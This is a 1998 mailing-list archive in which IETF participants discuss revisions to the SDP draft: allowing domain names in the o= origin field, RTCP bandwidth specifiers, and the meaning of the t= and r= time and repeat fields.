X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: SDP: comment from IESG 
In-reply-to: Your message of "Wed, 28 Jan 1998 09:20:55 PST."
             <3.0.5.32.19980128092055.00823db0@cts.com> 
Date: Wed, 28 Jan 1998 12:35:21 -0500
Message-ID: <28743.886008921@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I don't know if I get a vote, but proposal (1) would work fine, and by
>convention we would probably continue to use IP addresses.


I've had quite a few comments sent to me personally, roughly half in
favour of option 1 and half in favour of option 2.  No-one said that
they'd prefer no change.  For reasons including those you listed, I
decided in favour of option 1, and I've changed the wording to:

  Origin
 
  o=<username>  <session  id>  <version>  <network  type>  <address  type>
  <address>

  The ``o='' field gives the originator of the session (their username and
  ....
  <address
  type>  is  a  text  string  giving the type of the address that follows.
  Initially ``IP4'' and ``IP6'' are defined.  <address>  is  the  globally
  unique  address  of the machine from which the session was created.  For
  an address type of IP4, this is either the fully-qualified  domain  name
  of the machine, or the dotted-decimal representation of the IP version 4
  address of the machine.  For an address type of IP6, this is either  the
  fully-qualified  domain  name  of the machine, or the compressed textual
  representation of the IP version 6 address of the machine.  For both IP4
  and  IP6,  the  fully-qualified  domain  name is the form that SHOULD be
  given unless this is unavailable, in  which  case  the  globally  unique
  address  may be substituted.  A local IP address MUST NOT be used in any
  context where the SDP description might leave the  scope  in  which  the
  address is meaningful.

I hope this is OK.  

BTW, the 06 draft just appeared in the archives, which contains the
IANA registration guidelines, but does not contain the above change
and also some other minor wording changes that have been requested by
the IESG.

I've accumulated these changes in
  http://north.east.isi.edu/sdp.current.tex
If any more changes are requested, they'll be reflected there, and if
they may affect implementations, I'll send mail to the list.

Cheers,
	Mark

--------
>At 12:33 PM 1/27/98 -0500, Mark Handley wrote:
>>
>>I just got the following comment back from a member of the IESG.  I
>>think the point is valid.  The IP address dates from when SDP was only
>>used for session announcements.  Today SDP is used in SIP and RTSP,
>>and so encountering a NAT is quite likely.  
>>
>>Two questions:
>>
>>1. Would anyone object to the text being changed to permit either an
>>address or a fully qualified domain name?  
>>
>>2. Does anyone think that we should change the spec to permit only
>>fully qualified domain names?
>>
>>Personally I prefer 1. Please let me know your opinion ASAP.
>>
>>Cheers,
>>	Mark
>>
>>------- Forwarded Message
>>
>>Sorry, but I have to object to the IP address appearing in the o= field.
>>You can make a case that in the c= line that is the IP address taht will
>>appear in the packet, and people need it to find the session.  It is
>>somewhat NAT unfriendly, but I can live with it.
>>The o= line requires an IP address as a uniqueness generator.  It does not
>>permit a  DNS name.  It says it must be the "globally unique address where
>>the advertisement originates".  What if that does not exist?  I could
>>easily imagine organizing a session from behind a firewall, and then
>>arranging the for the right things to happen later.
>>
>>No, I do not like firewalls/NATs.  But they are there, and stuff
>>should think about them.  Another way of thinking about this objection
>>is that protocols should not directly encode IP addresses unless they
>>need them.  The c= line needs it.  The o= line doesn't.
>>
>>------- End of Forwarded Message
>>
>>
>>
>---------------------------------------------------------------------------
>Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
>PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
>URL:http://www.tbt.com

From confctrl-owner  Wed Jan 28 10:30:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA00163
	for confctrl-outgoing; Wed, 28 Jan 1998 10:30:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00158
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 10:30:27 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24905;
	Wed, 28 Jan 1998 10:30:25 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id KAA10637; Wed, 28 Jan 1998 10:30:25 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id KAA21966;
	Wed, 28 Jan 1998 10:30:24 -0800 (PST)
Received: from miked.miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xxcFg-0000BqC; Wed, 28 Jan 98 10:30 PST
Message-Id: <3.0.5.32.19980128103005.00889930@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Wed, 28 Jan 1998 10:30:05 -0800
To: confctrl@ISI.EDU
From: "Michael A. Dolan" <miked@tbt.com>
Subject: SDP attributes for time
Cc: Mark Handley <mjh@ISI.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The draft spec appears to imply that it is not legal to have attributes for
the time fields, t and r.  Is this a correct interpretation?  If so, can
someone elaborate the rationale and/or point me to a discussion thread?

If not, there is an attribute that may be of interest to the group.  It is
basically a time exclusion qualifier that simplifies the t/r pair expansion
considerably when representing things such as "weekdays during working
hours only", but otherwise has a regular broadcast schedule.

An example of "continuous broadcasts every hour weekdays during working
hours" would then be:

t=0 0
r=1h 1h 0
a=time-only:times 0800-1700 (converted to GMT)
a=time-only:days Mon Tue Wed Thu Fri

Additionally, there could be an analogous "a=time-exclude" qualifier.

The t/r only version of the above gets kinda messy and long.

Comments on permitting such attributes?

Thanks,
	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Wed Jan 28 10:38:47 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA00528
	for confctrl-outgoing; Wed, 28 Jan 1998 10:38:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00523
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 10:38:45 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA25514
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 10:38:44 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id NAA29036; Wed, 28 Jan 1998 13:38:38 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: SDP attributes for time 
In-reply-to: Your message of "Wed, 28 Jan 1998 10:30:05 PST."
             <3.0.5.32.19980128103005.00889930@cts.com> 
Date: Wed, 28 Jan 1998 13:38:38 -0500
Message-ID: <29034.886012718@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>The draft spec appears to imply that it is not legal to have attributes for
>the time fields, t and r.  Is this a correct interpretation?  If so, can
>someone elaborate the rationale and/or point me to a discussion
>thread?

It hasn't been considered, but you couldn't use attributes in this way
without significant changes to the SDP semantics.

>t=0 0
>r=1h 1h 0

This doesn't make sense.  "Repeat every hour for one hour".

>a=time-only:times 0800-1700 (converted to GMT)
>a=time-only:days Mon Tue Wed Thu Fri

>The t/r only version of the above gets kinda messy and long.

Actually your version is four lines.  The t/r version is only 2 lines.

t=start-time 0
r=7d 9h mon-offset tues-offset wed-offset thurs-offset fri-offset

where the offsets are offsets from the start-time to 8am on the first
monday, etc

Cheers,
	Mark

From confctrl-owner  Wed Jan 28 10:40:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA00680
	for confctrl-outgoing; Wed, 28 Jan 1998 10:40:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00675
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 10:40:43 -0800 (PST)
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA25690;
	Wed, 28 Jan 1998 10:40:40 -0800 (PST)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id KAA13391;
	Wed, 28 Jan 1998 10:40:09 -0800 (PST)
Date: Wed, 28 Jan 1998 10:39:54 -0800 (Pacific Standard Time)
From: Stephen Casner <casner@precept.com>
Reply-To: Stephen Casner <casner@precept.com>
To: Mark Handley <mjh@ISI.EDU>
cc: confctrl@ISI.EDU
Subject: Re: SDP: comment from IESG 
In-Reply-To: <28743.886008921@north.lcs.mit.edu>
Message-ID: <Pine.WNT.3.96.980128100152.-4125059B-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark,

> For reasons including those you listed, I
> decided in favour of option 1

I agree with this decision.

>  and I've changed the wording to:
...
>   For both IP4
>   and  IP6,  the  fully-qualified  domain  name is the form that SHOULD be
>   given unless this is unavailable, in  which  case  the  globally  unique
>   address  may be substituted.

We have debated this same question with respect to the CNAME in RTP.
The key phrase is "unless this is unavailable".  Several people have
argued, Van Jacobson perhaps most strongly, that determining the
answer to this question robustly and without incurring a long delay
may be difficult on many platforms.  Henning Schulzrinne has suggested
a number of techniques for doing it.  I have not personally tried to
test this question on different platforms, but among those attending
the AVT meeting where we last discussed this (I think it was Memphis),
the general consensus was that we should favor the numeric form.  This
question still needs to be finalized for the RTP spec and profile
revisions, and the IESG may push on the issue there, too.  The problem
is somewhat harder for RTP because we'd like not just uniqueness for a
particular host but also that the same choice be made by all
applications used together in a session on that host.

Michael Dolan said that in his environment a DNS lookup was not
possible.  Even in other environments, it should be noted that it may
not be possible to look up the FQDN received on a o= line into the
equivalent address if that address is not globlal.  Fortunately, for
this use in SDP, conversion is not necessary.


I have another question related to these recent SDP additions and RTP.
The new wording for "bwtype" (bandwidth specifiers) says:

    A proliferation of bandwidth specifiers is strongly discouraged.

    New bandwidth specifiers may be registered with IANA.   The  submis-
    sion  MUST  reference a standards-track RFC specifying the semantics
    of the bandwidth specifier precisely, and indicating when it  should
    be used, and why the existing registered bandwidth specifiers do not
    suffice.

In AVT we agreed to allow the RTCP bandwidth for receive-only
participants and sender participants in an RTP session to be specified
as separate parameters of the session, with the default being that the
overall RTCP bandwith is 5% with (the usually small number of) senders
getting 25% and all the receivers getting 75%.

Do you consider the addition of bandwidth specifiers for RTCP receiver
and sender bandwidths to fit these guidelines, and that specifying it
in the revised RTP profile would be appropriate/sufficient?

							-- Steve


From confctrl-owner  Wed Jan 28 11:26:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04641
	for confctrl-outgoing; Wed, 28 Jan 1998 11:26:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04606
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 11:26:40 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA28883
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 11:26:37 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA29106; Wed, 28 Jan 1998 14:26:30 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Stephen Casner <casner@precept.com>
cc: confctrl@ISI.EDU
Subject: Re: SDP: comment from IESG 
In-reply-to: Your message of "Wed, 28 Jan 1998 10:39:54 PST."
             <Pine.WNT.3.96.980128100152.-4125059B-100000@oak.precept.com> 
Date: Wed, 28 Jan 1998 14:26:29 -0500
Message-ID: <29104.886015589@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>In AVT we agreed to allow the RTCP bandwidth for receive-only
>participants and sender participants in an RTP session to be specified
>as separate parameters of the session, with the default being that the
>overall RTCP bandwith is 5% with (the usually small number of) senders
>getting 25% and all the receivers getting 75%.
>
>Do you consider the addition of bandwidth specifiers for RTCP receiver
>and sender bandwidths to fit these guidelines, and that specifying it
>in the revised RTP profile would be appropriate/sufficient?

Yes, I do consider this appropriate use of a bandwidth specifier.
Specifying it in the revised RTP profile is exactly the sort of
specification I intended when I wrote the guidelines.  

Of course you could also use an attribute.  In this case, the choice
between using an attibute and a bandwidth identifier is not clear cut,
but I think I would favour using a bandwidth specifier.

Cheers,
	Mark

From confctrl-owner  Wed Jan 28 11:32:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05037
	for confctrl-outgoing; Wed, 28 Jan 1998 11:32:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05032
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 11:32:25 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29155
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 11:32:24 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id LAA23626; Wed, 28 Jan 1998 11:32:23 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id LAA02769;
	Wed, 28 Jan 1998 11:32:22 -0800 (PST)
Received: from miked.miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xxdDY-0000MDC; Wed, 28 Jan 98 11:32 PST
Message-Id: <3.0.5.32.19980128113139.00894690@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Wed, 28 Jan 1998 11:31:39 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: SDP attributes for time 
Cc: confctrl@ISI.EDU
In-Reply-To: <29034.886012718@north.lcs.mit.edu>
References: <Your message of "Wed, 28 Jan 1998 10:30:05 PST."             <3.0.5.32.19980128103005.00889930@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 01:38 PM 1/28/98 -0500, Mark Handley wrote:
>
>>The draft spec appears to imply that it is not legal to have attributes for
>>the time fields, t and r.  Is this a correct interpretation?  If so, can
>>someone elaborate the rationale and/or point me to a discussion
>>thread?
>
>It hasn't been considered, but you couldn't use attributes in this way
>without significant changes to the SDP semantics.

Any chance at considering this?

>>t=0 0
>>r=1h 1h 0
>
>This doesn't make sense.  "Repeat every hour for one hour".

I think this means "broadcast a one hour long session every hour on the
hour indefinitely".  It may be clearer to have a more realistic start time,
but that doesn't seem to change the net result to me.  Am I confused about
r=?  I have assumed when r= is present that an end time of zero meant that
there was no end to the set of broadcasts, not that it implied the
broadcast was continuous in nature.

>>a=time-only:times 0800-1700 (converted to GMT)
>>a=time-only:days Mon Tue Wed Thu Fri
>
>>The t/r only version of the above gets kinda messy and long.
>
>Actually your version is four lines.  The t/r version is only 2 lines.
>
>t=start-time 0
>r=7d 9h mon-offset tues-offset wed-offset thurs-offset fri-offset
>
>where the offsets are offsets from the start-time to 8am on the first
>monday, etc

Yes, but there is a 9x expansion for each of the 5 offsets in the t/r only
solution above, so the r= line is pretty long, especially if one is forced
into NTP times (and not "1h" syntax).  I chose a fairly simple example to
demonstrate the idea.  More complex examples that force multiple t/r pairs,
even lengthier r= strings with NTP times are worrisome.  In addition to the
general complexity of the expressions, it pushes the SDP record size
towards the 1024 byte boundary,  especially when coupled with our other
(robust set of) attributes.  Hence the desire to make the expression more
compact.  It is not at all desirable to create multiple SDP records for the
same broadcast content.

This is all moot of course, without the enabling semantics.

If a semantic change is not in the cards, how do you feel about a
discussion of the 1024 byte limitation?

Thanks,
	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Wed Jan 28 11:54:40 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA08551
	for confctrl-outgoing; Wed, 28 Jan 1998 11:54:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08546
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 11:54:38 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA00571
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 11:54:36 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA29208; Wed, 28 Jan 1998 14:54:32 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: SDP attributes for time 
In-reply-to: Your message of "Wed, 28 Jan 1998 11:31:39 PST."
             <3.0.5.32.19980128113139.00894690@cts.com> 
Date: Wed, 28 Jan 1998 14:54:32 -0500
Message-ID: <29206.886017272@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>>t=0 0
>>>r=1h 1h 0
>>
>>This doesn't make sense.  "Repeat every hour for one hour".
>
>I think this means "broadcast a one hour long session every hour on the
>hour indefinitely".  It may be clearer to have a more realistic start time,
>but that doesn't seem to change the net result to me.  Am I confused about
>r=?  I have assumed when r= is present that an end time of zero meant that
>there was no end to the set of broadcasts, not that it implied the
>broadcast was continuous in nature.

The intention is that SDP time fields add to specify when the session
is active.  r=1h 1h 0, although not actually incorrect, therefore
indicates a session that is always active.

If this were not the intended meaning, then you need to check your
repeat fields to ensure that their time intervals will never overlap,
or at that time the session would be active twice.

Mark




From confctrl-owner  Wed Jan 28 12:01:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA08894
	for confctrl-outgoing; Wed, 28 Jan 1998 12:01:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA08889
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 12:01:32 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA01081
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 12:01:28 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id PAA29235; Wed, 28 Jan 1998 15:01:27 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: Re: SDP attributes for time 
In-reply-to: Your message of "Wed, 28 Jan 1998 11:31:39 PST."
             <3.0.5.32.19980128113139.00894690@cts.com> 
Date: Wed, 28 Jan 1998 15:01:27 -0500
Message-ID: <29233.886017687@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Please note that SDP has been though working group and IESG last call.
The IESG ballot on it is tomorrow.  The only changes being considered
are any _required_ by the IESG for SDP to move to Proposed Standard.

SDP has been an Internet Draft for more than 3 years now.  It could
continually evolve and never be standardised if we let it, but this
would be a very bad idea.  After it becomes a Proposed Standard, there
is the opportunity to make any essential changes before it moves to
Draft Standard.

Mark



From confctrl-owner  Wed Jan 28 13:44:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA19542
	for confctrl-outgoing; Wed, 28 Jan 1998 13:44:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19537
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 13:44:05 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA06506
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 13:44:04 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id NAA16206; Wed, 28 Jan 1998 13:44:03 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id NAA24926;
	Wed, 28 Jan 1998 13:44:03 -0800 (PST)
Received: from miked.miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xxfH3-0000PpC; Wed, 28 Jan 98 13:43 PST
Message-Id: <3.0.5.32.19980128134343.007d3a70@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Wed, 28 Jan 1998 13:43:43 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: SDP attributes for time 
Cc: confctrl@ISI.EDU
In-Reply-To: <29206.886017272@north.lcs.mit.edu>
References: <Your message of "Wed, 28 Jan 1998 11:31:39 PST."             <3.0.5.32.19980128113139.00894690@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If this revelation is obvious to the list, then my appologies for this
posting.  But several of us here read the r= section of the spec pretty
differently than what Mark intended, so thought there might be others...

At 02:54 PM 1/28/98 -0500, Mark Handley wrote:
>
>>>>t=0 0
>>>>r=1h 1h 0
>>>
>>>This doesn't make sense.  "Repeat every hour for one hour".
>>
>>I think this means "broadcast a one hour long session every hour on the
>>hour indefinitely".  It may be clearer to have a more realistic start time,
>>but that doesn't seem to change the net result to me.  Am I confused about
>>r=?  I have assumed when r= is present that an end time of zero meant that
>>there was no end to the set of broadcasts, not that it implied the
>>broadcast was continuous in nature.
>
>The intention is that SDP time fields add to specify when the session
>is active.  r=1h 1h 0, although not actually incorrect, therefore
>indicates a session that is always active.

We thought "repeat" meant a repeat of the session.  So when r= was present,
the t= specified a total period of the repetition set, and the r= the start
and duration times for each session.  If I understand you correctly, then
one must include a t= (or t/r pair as needed) for every repetition of a
session, yes?

By example, your intent was for r= to handle something unusual like a space
shuttle broadcast?  Where t= specifies the mission duration, and r= defines
when it is actually broadcasting.  This, in contrast to describing a
(repeated) broadcast of the evening news every night at 6pm with a single
t/r pair.

You may wish to consider clarifying this section to note that r= is an
inclusion qualifier on a single session period noted by the preceding t=,
and not a repetition specification of the session itself.  Use of the term
"repeat" I think led us astray.

Your intended meaning of r= aggravates my original size and session
repetition problem, though, so I need the session repetition field more
than ever.

However, would it now be reasonable to make this and our other time
modification attributes be session attributes, and thus avoid the time
attribute semantic dilemma?

	Mike
---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Wed Jan 28 13:54:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20124
	for confctrl-outgoing; Wed, 28 Jan 1998 13:54:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA20116
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 13:54:55 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA07175
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 13:54:53 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA00642; Wed, 28 Jan 1998 16:54:44 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Michael A. Dolan" <miked@tbt.com>
cc: confctrl@ISI.EDU
Subject: Re: SDP attributes for time 
In-reply-to: Your message of "Wed, 28 Jan 1998 13:43:43 PST."
             <3.0.5.32.19980128134343.007d3a70@cts.com> 
Date: Wed, 28 Jan 1998 16:54:44 -0500
Message-ID: <640.886024484@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>We thought "repeat" meant a repeat of the session.  So when r= was present,
>the t= specified a total period of the repetition set, and the r= the start
>and duration times for each session.  If I understand you correctly, then
>one must include a t= (or t/r pair as needed) for every repetition of a
>session, yes?

Any combination of t and r fields indicate additional time when the
session is active again.  The session will be active for the union of
the time intervals specified.  Neither t nor r make any comment on the
content of the session.  

If your session is the same thing repeated again and again
continuously with no break, there is no way to indicate this in SDP
without using attributes.

>By example, your intent was for r= to handle something unusual like a space
>shuttle broadcast?  Where t= specifies the mission duration, and r= defines
>when it is actually broadcasting.  This, in contrast to describing a
>(repeated) broadcast of the evening news every night at 6pm with a single
>t/r pair.

Actually the shuttle is best handled with t fields alone because the
timing is irregular.  The 6 o'clock news is handled fine with a single
t/r pair very well because the timing is regular.  

What this doen't handle well is something like a tape on continuous
repeat where you also want to indicate when the tape rewinds and
starts again.  SDP has no way to indicate repeats of the content, only
that the session became active again.  Is this the sort of thing you
are trying to indicate?

Cheers,
	Mark


From confctrl-owner  Wed Jan 28 14:51:15 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25607
	for confctrl-outgoing; Wed, 28 Jan 1998 14:51:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25602
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 14:51:13 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA11095
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 14:51:12 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id OAA24856; Wed, 28 Jan 1998 14:51:11 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id OAA05726;
	Wed, 28 Jan 1998 14:51:11 -0800 (PST)
Received: from miked.miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xxgJs-0000QuC; Wed, 28 Jan 98 14:50 PST
Message-Id: <3.0.5.32.19980128145034.00815660@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Wed, 28 Jan 1998 14:50:34 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: SDP attributes for time 
Cc: confctrl@ISI.EDU
In-Reply-To: <640.886024484@north.lcs.mit.edu>
References: <Your message of "Wed, 28 Jan 1998 13:43:43 PST."             <3.0.5.32.19980128134343.007d3a70@cts.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 04:54 PM 1/28/98 -0500, Mark Handley wrote:
>
>SDP has no way to indicate repeats of the content, only
>that the session became active again.  Is this the sort of thing you
>are trying to indicate?

Yes.  I think we are back to a fundamental difference in describing the
broadcast of continuous streams versus discrete objects.  If I understand
correctly, your intent for SDP is for it to indicate simply that the "a
stream is flowing".  This is fine for a continuous stream, but doesn't work
very well for broadcast of streams that have a definite beginning and end
to the content that must be communicated to the client.

It looked to us like r= would do this, but we apparently read more into the
spec than you intended.  I infer from your replies (which I greatly
appreciate BTW), that you are opposed to this use of t/r to convey this
content information, and it should be restricted to just describing when
the bits are flowing?

On this assumption, then our SDP records will really need to look more like:

a=session-content-time:<our content time needs, including repeats, etc...>
t=0 0

We could use IP/port to delineate these objects, but there would be an
unacceptable proliferation within these name spaces.  We could also create
a separate SDP record for every repetition of an object, but that too
creates an overload of records to process for what is basically the same
information.

Any other suggestions on how to convey this discrete content time info?

Thanks,
	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
